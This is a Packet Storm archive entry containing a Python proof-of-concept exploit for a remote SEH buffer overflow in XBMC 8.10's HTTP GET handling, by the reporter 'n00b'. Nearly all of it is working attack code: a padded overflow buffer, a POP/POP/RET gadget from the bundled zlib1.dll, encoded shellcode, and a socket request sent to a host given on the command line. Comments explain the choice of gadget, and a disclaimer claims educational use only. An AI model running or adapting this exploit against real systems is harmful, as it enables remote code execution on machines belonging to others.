XBMC 8.10 Overflow

2009-04-06T00:00:00
ID PACKETSTORM:76356
Type packetstorm
Reporter n00b
Modified 2009-04-06T00:00:00

Description

                                        
                                            `#!/usr/bin/env python   
  
'''  
Xbmc get request remote buffer overflow 8.10 *seh*(Universal address)!!   
  
Tested:Win xp sp2 eng Win vista sp1  
Vendor url:http://xbmc.org/   
Release date:April the 4th 2009  
  
versions affected: windows all versions.   
  
I had tried awhile to get a nice pop ebx pop ret address and just   
could not find a suitable one especially that was any good.and it   
had to be shipped with the application and not have /safe seh.   
  
To start with i looked at the zlib.dll to see of there were any   
nice pop pop ret address i noticed there was one in particular that   
stood out and decided to try it.   
  
There is no need for me to release any more exploits for this application   
as i have covered all the areas which i wanted to and want to   
move on from this.   
  
If your interested to see how this worked attach a debugger and add some   
hit tracing :).It is possible to use this with all the buffer overflows   
i released.   
  
Credits to n00b for finding the buffer overflow and writing   
exploit.  
  
----------  
Disclaimer  
----------  
The information in this advisory and any of its  
demonstrations is provided "as is" without any  
warranty of any kind.  
  
I am not liable for any direct or indirect damages  
caused as a result of using the information or  
demonstrations provided in any part of this advisory.  
Educational use only..!!  
'''  
  
  
import sys, socket   
import struct  
  
port = 80   
host = sys.argv[1]   
  
#1635  
Junk_buffer1 = 'A'*998  
Pointer_To_Next_SEH = struct.pack('<L',0x909006eb)  
  
###  
###/SafeSEH Module Scanner, item 55  
# SEH mode=/SafeSEH OFF  
# Base=0x62e80000  
# Limit=0x62e97000  
# Module Name=C:\Program Files\XBMC\zlib1.dll  
  
###  
###This was found in the module zlib1 and is universal.  
#62E83BAC 5B POP EBX  
#62E83BAD 5D POP EBP  
#62E83BAE ^E9 CDD9FFFF JMP zlib1.compressBound  
SE_Handler = struct.pack('<L',0x62E83BAC)  
  
  
Junk_buffer3 = 'D'*635  
Shell_code=(#  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"  
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"  
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"  
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"  
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"  
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"  
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"  
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"  
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"  
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"  
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"  
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"  
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"  
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"  
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a"  
)  
  
# create a socket object called 'c'   
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
  
# connect to the socket   
c.connect((host, port))   
  
Request = (Junk_buffer1 + Pointer_To_Next_SEH + SE_Handler + Shell_code + Junk_buffer3)  
  
# create a file-like object to read   
fileobj = c.makefile('r', 0)   
  
# Ask the server for the file   
fileobj.write("GET /"+Request+" HTTP/1.1\n\n")   
  
  
`